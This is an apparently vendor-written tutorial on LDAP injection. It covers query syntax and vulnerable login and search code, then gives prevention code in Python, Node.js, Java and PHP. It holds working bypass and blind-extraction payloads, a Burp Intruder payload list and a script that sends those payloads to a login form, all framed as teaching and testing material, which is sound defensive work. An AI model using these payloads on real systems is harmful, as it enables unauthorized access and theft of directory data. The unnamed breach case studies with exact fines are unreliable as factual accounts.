Documentation

# LDAP Injection

LDAP Injection Illustration
LDAP Injection Illustration

A code injection attack where malicious LDAP statements are inserted into application queries, allowing attackers to bypass authentication or access unauthorized directory information.

HIGH SEVERITY AUTHENTICATION BYPASS DIRECTORY SERVICES


# What is LDAP Injection?

In Simple Terms:

Imagine LDAP as a company phone directory that stores employee information - names, departments, phone numbers, and access permissions.

When you search the directory, you might say: "Show me all employees in the Sales department."

LDAP Injection is like a hacker manipulating your search to say: "Show me all employees in the Sales department OR show me EVERYONE including admin passwords."

The directory doesn't know this is malicious - it just follows the modified instructions and hands over sensitive information.


# Real-World Analogy

Think of LDAP like a library card catalog system:

LDAP is like a library's catalog system that stores information about all books, members, and their borrowing privileges.

A librarian searches: "Find all books by author 'Smith'"

  • The system returns books written by Smith
  • Everything works as intended

An attacker modifies the search: "Find all books by author 'Smith' OR show all restricted books OR show all member passwords'"

  • The system interprets the "OR" as part of the search
  • Returns restricted information it should never show

The catalog system can't tell the difference between a legitimate search and a manipulated one - it just follows the instructions literally.


# How LDAP Injection Works

# Understanding LDAP

LDAP (Lightweight Directory Access Protocol) is used to access and manage directory information. It's commonly used for:

  • Active Directory (Microsoft)
  • OpenLDAP (Open source)
  • User authentication
  • Employee directories
  • Email systems
  • Access control

# LDAP Query Structure

ldap
(&(attribute=value)(attribute=value))

Operators:

  • & = AND (all conditions must be true)
  • | = OR (any condition can be true)
  • ! = NOT (condition must be false)
  • * = Wildcard (matches anything)

# The Attack Process

Application builds LDAP query for login:

ldap
(&(uid=john)(password=secret123))

This searches for user "john" with password "secret123"

Attacker enters username: admin)(&)) Application builds query:

ldap
(&(uid=admin)(&))(password=anything))

The injected (&)) closes the original query early:

  • (&(uid=admin)(&)) = Valid query that returns admin user
  • (password=anything)) = Ignored/orphaned

LDAP returns the admin user without checking the password, granting full access.


# Types of LDAP Injection Attacks

# 1. Authentication Bypass

CRITICAL

from ldap3 import Server, Connection, ALL

def authenticate_user(username, password):
    server = Server('ldap://company-dc.local', get_info=ALL)
    conn = Connection(server, 'cn=admin,dc=company,dc=local', 'admin_password')
    conn.bind()

    # VULNERABLE: Direct string concatenation
    ldap_filter = f"(&(uid={username})(password={password}))"

    conn.search('ou=users,dc=company,dc=local', ldap_filter)

    if conn.entries:
        return True  # User authenticated
    return False

# Attack payload
username = "admin)(&"
password = "anything"

# Resulting query: (&(uid=admin)(&)(password=anything))
# Returns admin user without password verification!
Username: admin)(&))
Password: [anything]

Username: admin)(|(uid=*))
Password: [ignored]

Username: *)(uid=*))(|(uid=*
Password: [ignored]

Username: admin)(!(&(objectClass=void)
Password: [ignored]

# 2. Privilege Escalation

HIGH RISK

# Vulnerable search function
def search_employees(name):
    # VULNERABLE: No input sanitization
    ldap_filter = f"(cn={name})"
    conn.search('ou=employees,dc=company,dc=local', ldap_filter)
    return conn.entries

# Normal search
search_employees("John Smith")
# Query: (cn=John Smith)
# Returns: John Smith's employee record

# Malicious search
search_employees("*)(objectClass=*)(cn=admin")
# Query: (cn=*)(objectClass=*)(cn=admin)
# Returns: ALL directory entries including admin accounts!
Attacker gains access to:
- All user accounts and passwords
- Admin credentials
- Group memberships
- Security permissions
- Email addresses
- Phone numbers
- Organizational structure

# 3. Information Disclosure

MEDIUM RISK

# Vulnerable profile lookup
def get_user_profile(email):
    # VULNERABLE: Reflects user input
    ldap_filter = f"(mail={email})"
    conn.search('ou=people,dc=company,dc=local', ldap_filter, attributes=['*'])
    return conn.entries

# Attack: Extract sensitive attributes
email = "*)(|(mail=*))"

# Returns ALL user profiles with sensitive data:
# - Social security numbers
# - Salary information
# - Home addresses
# - Emergency contacts
# - Performance reviews

# 4. Blind LDAP Injection

ADVANCED TECHNIQUE

When application doesn't display results directly, attackers use timing or behavior differences to extract data character by character.

# Test if admin user exists
payload = "admin)(&(uid=admin)(objectClass=*"  # Returns quickly if exists

# Test first character of admin's password
payload = "admin)(uid=admin)(password=a*"  # Fast if password starts with 'a'
payload = "admin)(uid=admin)(password=b*"  # Fast if password starts with 'b'
# ... continue testing each character
  • If user exists: Response in 50ms
  • If user doesn't exist: Response in 200ms
  • Attacker automates this to extract information bit by bit

# Real-World Examples

# Case Study 1: Healthcare System Breach (2017)

Major hospital network's patient portal had LDAP injection in login system.

def hospital_login(username, password):
    # Their vulnerable authentication
    ldap_filter = f"(&(sAMAccountName={username})(userPassword={password}))"
    # No input validation at all!

    result = ldap_conn.search(BASE_DN, ldap_filter)
    return len(result) > 0

Attacker used payload:

Username: *)(&
Password: [anything]

Resulting query:

ldap
(&(sAMAccountName=*)(&)(userPassword=anything))
  • Gained access to admin account
  • Downloaded 600,000+ patient records
  • Medical histories, diagnoses, medications
  • Social security numbers, insurance info
  • $16 million HIPAA fine
  • $42 million class action settlement
  • Hospital's reputation severely damaged

# Case Study 2: University Active Directory Compromise (2019)

50,000 Users Compromised

Technical Details:

# Their vulnerable employee search
@app.route('/directory/search')
def search_directory():
    name = request.args.get('name')

    # VULNERABLE: No sanitization
    ldap_filter = f"(displayName=*{name}*)"

    results = ldap_conn.search(
        'ou=people,dc=university,dc=edu',
        ldap_filter,
        attributes=['*']  # Returns ALL attributes!
    )

    return render_template('results.html', results=results)

Attack Payload:

name=*)(objectClass=user)(cn=Administrator

What Attackers Extracted:

  • 50,000+ student and faculty accounts
  • Email addresses and passwords
  • Social security numbers
  • Home addresses and phone numbers
  • Department budgets and financial data
  • Research project confidential information

Consequences:

  • $3.2 million in remediation costs
  • 18-month forensic investigation
  • Mandatory password reset for entire university
  • Loss of research grants due to data breach
  • Federal investigation for failure to protect student data

# Case Study 3: E-commerce Platform Admin Access (2020)

Online retailer with 5 million customers using LDAP for employee authentication

// Node.js vulnerable authentication
function authenticateEmployee(username, password) {
  const ldapFilter = `(&(uid=${username})(userPassword=${password}))`;

  // No escaping, no validation!
  ldapClient.search(BASE_DN, { filter: ldapFilter }, (err, res) => {
    if (res.entries.length > 0) {
      return { authenticated: true, user: res.entries[0] };
    }
  });
}

Attacker discovered vulnerability in employee portal:

Username: admin)(&))
Password: [empty]

Gained access to:

  • Admin dashboard
  • 5 million customer records
  • Credit card information (PCI-DSS violation)
  • Order histories and addresses
  • $8.5 million in fraudulent transactions
  • $25 million PCI-DSS non-compliance fines
  • $40 million class action settlement
  • Stock price dropped 35%
  • CEO and CISO resigned

# How to Detect LDAP Injection

# Manual Testing

Find input fields that might query LDAP:

  • Login forms
  • User search functions
  • Employee directories
  • Password reset forms
  • Profile lookups

Try LDAP special characters:

* ( ) & | ! =

Watch for:

  • Error messages mentioning LDAP
  • Changes in response time
  • Different number of results
  • Application errors
*
*)(&
admin)(&))
*)(uid=*))(|(uid=*
admin)(|(password=*))
  • Authentication bypass: Login succeeds with invalid password
  • Information disclosure: Returns more results than expected
  • Error messages: Reveals LDAP query structure

# Automated Testing Script

import ldap3
from ldap3 import Server, Connection, ALL
import time

def test_ldap_injection(target_url, username_field, password_field):
    """Test for LDAP injection vulnerabilities"""

    test_payloads = [
        # Authentication bypass
        ("admin)(&", "anything"),
        ("admin)(|(uid=*))", "password"),
        ("*)(uid=*))(|(uid=*", "test"),
        ("admin)(!(&(objectClass=void)", "pass"),

        # Information extraction
        ("*", "*"),
        ("*)(objectClass=*", "test"),
        ("admin*", "*"),

        # Attribute extraction
        ("*)(mail=*", "pass"),
        ("*)(objectClass=user", "test")
    ]

    vulnerabilities = []

    for username, password in test_payloads:
        try:
            # Send request to application
            response = requests.post(
                target_url,
                data={
                    username_field: username,
                    password_field: password
                }
            )

            # Check for successful authentication
            if "welcome" in response.text.lower() or "dashboard" in response.text.lower():
                vulnerabilities.append({
                    'payload': (username, password),
                    'type': 'Authentication Bypass',
                    'severity': 'CRITICAL'
                })
                print(f"[!] VULNERABLE: Payload '{username}' bypassed authentication!")

            # Check for error messages revealing LDAP
            elif "ldap" in response.text.lower():
                vulnerabilities.append({
                    'payload': (username, password),
                    'type': 'Information Disclosure',
                    'severity': 'MEDIUM'
                })
                print(f"[!] Info Leak: LDAP mentioned in response for '{username}'")

            time.sleep(0.5)  # Be nice to the server

        except Exception as e:
            print(f"[-] Error testing payload '{username}': {e}")

    return vulnerabilities

# Test your application
vulns = test_ldap_injection(
    'https://portal.example.com/login',
    'username',
    'password'
)

if vulns:
    print(f"\n[!] Found {len(vulns)} LDAP injection vulnerabilities!")
    for vuln in vulns:
        print(f"  - {vuln['type']}: {vuln['payload']}")
else:
    print("[+] No LDAP injection vulnerabilities detected")
# Burp Intruder payload list for LDAP injection
payloads = """
*
*)(&
*)(uid=*))(|(uid=*
admin)(&))
admin)(|(uid=*))
admin)(!(&(objectClass=void))
*)(objectClass=*)
*)(mail=*
admin*
*)(cn=admin
"""

# Configure Burp Intruder:
# 1. Set payload position at username/password fields
# 2. Load payloads from above list
# 3. Grep for success indicators:
#    - "welcome"
#    - "dashboard"
#    - "admin"
#    - "ldap" in errors

# Tools for LDAP Testing


# Prevention Strategies

# 1. Input Validation and Escaping

MOST IMPORTANT

from ldap3 import Server, Connection, ALL
from ldap3.utils.conv import escape_filter_chars

def safe_authenticate(username, password):
    """Secure LDAP authentication with proper escaping"""

    server = Server('ldap://company-dc.local', get_info=ALL)
    conn = Connection(
        server,
        'cn=admin,dc=company,dc=local',
        'admin_password',
        auto_bind=True
    )

    # SECURE: Escape special LDAP characters
    safe_username = escape_filter_chars(username)
    safe_password = escape_filter_chars(password)

    # Build query with escaped inputs
    ldap_filter = f"(&(uid={safe_username})(userPassword={safe_password}))"

    # Search with escaped filter
    conn.search(
        'ou=users,dc=company,dc=local',
        ldap_filter,
        attributes=['uid', 'cn', 'mail']  # Only needed attributes
    )

    if conn.entries:
        return {
            'authenticated': True,
            'user': conn.entries[0]
        }

    return {'authenticated': False}

# The escape_filter_chars function escapes:
# * ( ) \ NUL
# Preventing all LDAP injection attacks
const ldap = require('ldapjs');

// LDAP special character escaping function
function escapeLDAP(str) {
  return str.replace(/[*()\\]/g, function(char) {
    return '\\' + char.charCodeAt(0).toString(16).padStart(2, '0');
  }).replace(/\u0000/g, '\\00');
}

function authenticateUser(username, password) {
  const client = ldap.createClient({
    url: 'ldap://company-dc.local'
  });

  return new Promise((resolve, reject) => {
    // Bind with admin credentials
    client.bind('cn=admin,dc=company,dc=local', 'admin_password', (err) => {
      if (err) {
        return reject(err);
      }

      // SECURE: Escape user inputs
      const safeUsername = escapeLDAP(username);
      const safePassword = escapeLDAP(password);

      // Build query with escaped values
      const filter = `(&(uid=${safeUsername})(userPassword=${safePassword}))`;

      const opts = {
        filter: filter,
        scope: 'sub',
        attributes: ['uid', 'cn', 'mail']
      };

      client.search('ou=users,dc=company,dc=local', opts, (err, res) => {
        const entries = [];

        res.on('searchEntry', (entry) => {
          entries.push(entry.object);
        });

        res.on('end', () => {
          client.unbind();
          resolve({
            authenticated: entries.length > 0,
            user: entries[0] || null
          });
        });
      });
    });
  });
}
import javax.naming.*;
import javax.naming.directory.*;
import javax.naming.ldap.*;
import java.util.Hashtable;

public class SecureLDAPAuth {

    /**
     * Escape LDAP special characters
     */
    private static String escapeLDAP(String input) {
        StringBuilder sb = new StringBuilder();

        for (char c : input.toCharArray()) {
            switch (c) {
                case '\\':
                    sb.append("\\5c");
                    break;
                case '*':
                    sb.append("\\2a");
                    break;
                case '(':
                    sb.append("\\28");
                    break;
                case ')':
                    sb.append("\\29");
                    break;
                case '\0':
                    sb.append("\\00");
                    break;
                default:
                    sb.append(c);
            }
        }

        return sb.toString();
    }

    public static boolean authenticateUser(String username, String password) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://company-dc.local:389");
        env.put(Context.SECURITY_AUTHENTICATION, "simple");
        env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=company,dc=local");
        env.put(Context.SECURITY_CREDENTIALS, "admin_password");

        try {
            DirContext ctx = new InitialDirContext(env);

            // SECURE: Escape inputs
            String safeUsername = escapeLDAP(username);
            String safePassword = escapeLDAP(password);

            // Build secure filter
            String filter = String.format(
                "(&(uid=%s)(userPassword=%s))",
                safeUsername,
                safePassword
            );

            SearchControls controls = new SearchControls();
            controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
            controls.setReturningAttributes(new String[]{"uid", "cn", "mail"});

            NamingEnumeration<SearchResult> results = ctx.search(
                "ou=users,dc=company,dc=local",
                filter,
                controls
            );

            boolean authenticated = results.hasMore();

            ctx.close();
            return authenticated;

        } catch (NamingException e) {
            System.err.println("LDAP authentication error: " + e.getMessage());
            return false;
        }
    }
}
<?php

function escapeLDAP($str) {
    // Escape LDAP special characters
    $replacements = [
        '\\' => '\\5c',
        '*'  => '\\2a',
        '('  => '\\28',
        ')'  => '\\29',
        "\0" => '\\00'
    ];

    return str_replace(
        array_keys($replacements),
        array_values($replacements),
        $str
    );
}

function authenticateUser($username, $password) {
    $ldapConn = ldap_connect('ldap://company-dc.local');

    ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);

    // Bind with admin credentials
    $bind = ldap_bind($ldapConn, 'cn=admin,dc=company,dc=local', 'admin_password');

    if (!$bind) {
        return false;
    }

    // SECURE: Escape user inputs
    $safeUsername = escapeLDAP($username);
    $safePassword = escapeLDAP($password);

    // Build secure filter
    $filter = "(&(uid=$safeUsername)(userPassword=$safePassword))";

    $result = ldap_search(
        $ldapConn,
        'ou=users,dc=company,dc=local',
        $filter,
        ['uid', 'cn', 'mail']
    );

    $entries = ldap_get_entries($ldapConn, $result);

    ldap_close($ldapConn);

    return $entries['count'] > 0;
}
?>

# 2. Use Parameterized LDAP Queries

RECOMMENDED

from ldap3 import Server, Connection
from ldap3.core.exceptions import LDAPException

class SecureLDAPManager:
    """Secure LDAP operations with parameterization"""

    def __init__(self, server_url, bind_dn, bind_password):
        self.server = Server(server_url)
        self.bind_dn = bind_dn
        self.bind_password = bind_password

    def authenticate(self, username, password):
        """Authenticate user with parameterized binding"""
        try:
            # Method 1: Direct bind (most secure)
            # Attempt to bind as the user directly
            user_dn = f"uid={username},ou=users,dc=company,dc=local"

            conn = Connection(
                self.server,
                user=user_dn,
                password=password,
                auto_bind=True
            )

            # If we get here, authentication succeeded
            conn.unbind()
            return True

        except LDAPException:
            # Authentication failed
            return False

    def search_user(self, username):
        """Search for user with parameterized query"""
        conn = Connection(
            self.server,
            user=self.bind_dn,
            password=self.bind_password,
            auto_bind=True
        )

        # Use ldap3's built-in escaping
        from ldap3.utils.conv import escape_filter_chars

        safe_username = escape_filter_chars(username)

        # Limited attributes - principle of least privilege
        conn.search(
            'ou=users,dc=company,dc=local',
            f'(uid={safe_username})',
            attributes=['uid', 'cn', 'mail']  # Only public attributes
        )

        results = [entry.entry_attributes_as_dict for entry in conn.entries]
        conn.unbind()

        return results

# 3. Implement Allowlist Validation

import re

def validate_ldap_input(input_string, input_type='username'):
    """Validate input against strict allowlist"""

    validation_rules = {
        'username': {
            'pattern': r'^[a-zA-Z0-9._-]{3,20}$',
            'description': 'Alphanumeric, dots, underscores, hyphens only (3-20 chars)'
        },
        'email': {
            'pattern': r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$',
            'description': 'Valid email format'
        },
        'name': {
            'pattern': r'^[a-zA-Z\s]{2,50}$',
            'description': 'Letters and spaces only (2-50 chars)'
        }
    }

    rule = validation_rules.get(input_type)

    if not rule:
        raise ValueError(f"Unknown input type: {input_type}")

    if not re.match(rule['pattern'], input_string):
        raise ValueError(f"Invalid {input_type}: {rule['description']}")

    return True

# Usage
try:
    validate_ldap_input(username, 'username')
    # Proceed with LDAP query
except ValueError as e:
    return {"error": str(e)}

# 4. Principle of Least Privilege

def configure_secure_ldap_connection():
    """Configure LDAP with minimal privileges"""

    # Create read-only service account
    # Don't use admin account for searches!

    conn = Connection(
        server,
        user='cn=readonly-service,ou=services,dc=company,dc=local',
        password='readonly_password',
        auto_bind=True,
        read_only=True  # Enforce read-only
    )

    return conn

def search_with_limited_scope(conn, username):
    """Search with minimal scope and attributes"""

    from ldap3.utils.conv import escape_filter_chars

    safe_username = escape_filter_chars(username)

    # Limited search scope
    conn.search(
        search_base='ou=users,dc=company,dc=local',  # Specific OU only
        search_filter=f'(uid={safe_username})',
        search_scope='LEVEL',  # Not SUBTREE - only one level
        attributes=['uid', 'cn', 'mail'],  # Only necessary attributes
        size_limit=10  # Limit result count
    )

    return conn.entries

# 5. Comprehensive Security Configuration

[ldap_security.py]
from ldap3 import Server, Connection, Tls, SAFE_SYNC
from ldap3.utils.conv import escape_filter_chars
import ssl
import logging

class SecureLDAPService:
    """Enterprise-grade secure LDAP service"""

    def __init__(self, config):
        self.config = config
        self.logger = logging.getLogger(__name__)

        # Configure TLS
        tls = Tls(
            validate=ssl.CERT_REQUIRED,
            version=ssl.PROTOCOL_TLSv1_2,
            ca_certs_file='/path/to/ca-bundle.crt'
        )

        self.server = Server(
            config['ldap_url'],
            use_ssl=True,
            tls=tls,
            get_info='ALL'
        )

    def authenticate(self, username, password):
        """Secure authentication with comprehensive logging"""

        # Input validation
        if not self._validate_username(username):
            self.logger.warning(f"Invalid username format: {username}")
            return False

        # Rate limiting check
        if not self._check_rate_limit(username):
            self.logger.warning(f"Rate limit exceeded for: {username}")
            return False

        try:
            # Escape inputs
            safe_username = escape_filter_chars(username)

            # Direct bind (most secure method)
            user_dn = f"uid={safe_username},{self.config['user_base_dn']}"

            conn = Connection(
                self.server,
                user=user_dn,
                password=password,
                client_strategy=SAFE_SYNC,
                auto_bind=True
            )

            # Success
            self.logger.info(f"Successful authentication: {username}")
            conn.unbind()
            return True

        except Exception as e:
            # Failed - log without revealing details
            self.logger.warning(f"Failed authentication attempt: {username}")
            return False

    def _validate_username(self, username):
        """Strict username validation"""
        import re
        return bool(re.match(r'^[a-zA-Z0-9._-]{3,20}$', username))

    def _check_rate_limit(self, username):
        """Implement rate limiting"""
        # Use Redis or similar for rate limiting
        # Return False if too many attempts
        return True

    def search_user(self, username):
        """Secure user search"""

        if not self._validate_username(username):
            return []

        try:
            # Use service account
            conn = Connection(
                self.server,
                user=self.config['service_dn'],
                password=self.config['service_password'],
                auto_bind=True,
                read_only=True
            )

            safe_username = escape_filter_chars(username)

            conn.search(
                search_base=self.config['user_base_dn'],
                search_filter=f'(uid={safe_username})',
                search_scope='LEVEL',
                attributes=['uid', 'cn', 'mail'],
                size_limit=10
            )

            results = [entry.entry_attributes_as_dict for entry in conn.entries]

            conn.unbind()
            return results

        except Exception as e:
            self.logger.error(f"LDAP search error: {e}")
            return []
[config.yml]
ldap:
  ldap_url: ldaps://company-dc.local:636
  user_base_dn: ou=users,dc=company,dc=local
  service_dn: cn=readonly-service,ou=services,dc=company,dc=local
  service_password: ${LDAP_SERVICE_PASSWORD}  # From environment

  # Security settings
  use_tls: true
  validate_cert: true
  ca_bundle: /etc/ssl/certs/ca-bundle.crt

  # Rate limiting
  max_login_attempts: 5
  lockout_duration: 900  # 15 minutes

  # Logging
  log_level: INFO
  log_failed_attempts: true

# Security Checklist

# Development

  • Always escape LDAP special characters: * ( ) \ NUL
  • Use parameterized LDAP queries or direct binding
  • Implement strict input validation with allowlists
  • Never concatenate user input directly into LDAP filters
  • Use read-only service accounts for searches
  • Limit search scope and returned attributes
  • Implement result set size limits
  • Use LDAPS (LDAP over TLS) for all connections

# Testing

  • Test with LDAP injection payloads
  • Verify input escaping is working
  • Test authentication bypass attempts
  • Check for information disclosure
  • Test blind injection with timing analysis
  • Verify error messages don't reveal LDAP structure
  • Test rate limiting on authentication
  • Perform code review for direct string concatenation

# Production

  • Use TLS/SSL for all LDAP connections
  • Implement comprehensive logging
  • Set up monitoring for failed authentication attempts
  • Use principle of least privilege for service accounts
  • Regular security audits and penetration testing
  • Keep LDAP libraries and servers updated
  • Implement account lockout policies
  • Monitor and alert on suspicious LDAP queries

# Key Takeaways


# How Layerd AI Protects Against LDAP Injection

Layerd AI's advanced security platform provides comprehensive protection:

  • Automatic Input Sanitization: Escapes LDAP special characters in all user inputs
  • Query Analysis: Detects and blocks malicious LDAP filter patterns
  • Authentication Monitoring: Alerts on suspicious authentication attempts and patterns
  • Anomaly Detection: Identifies unusual LDAP query behavior
  • Code Analysis: Scans code for vulnerable LDAP query construction
  • Real-time Protection: Blocks LDAP injection attempts before they reach your directory

Secure your directory services with Layerd AI's intelligent LDAP protection.


# Additional Resources


Last Updated: November 2025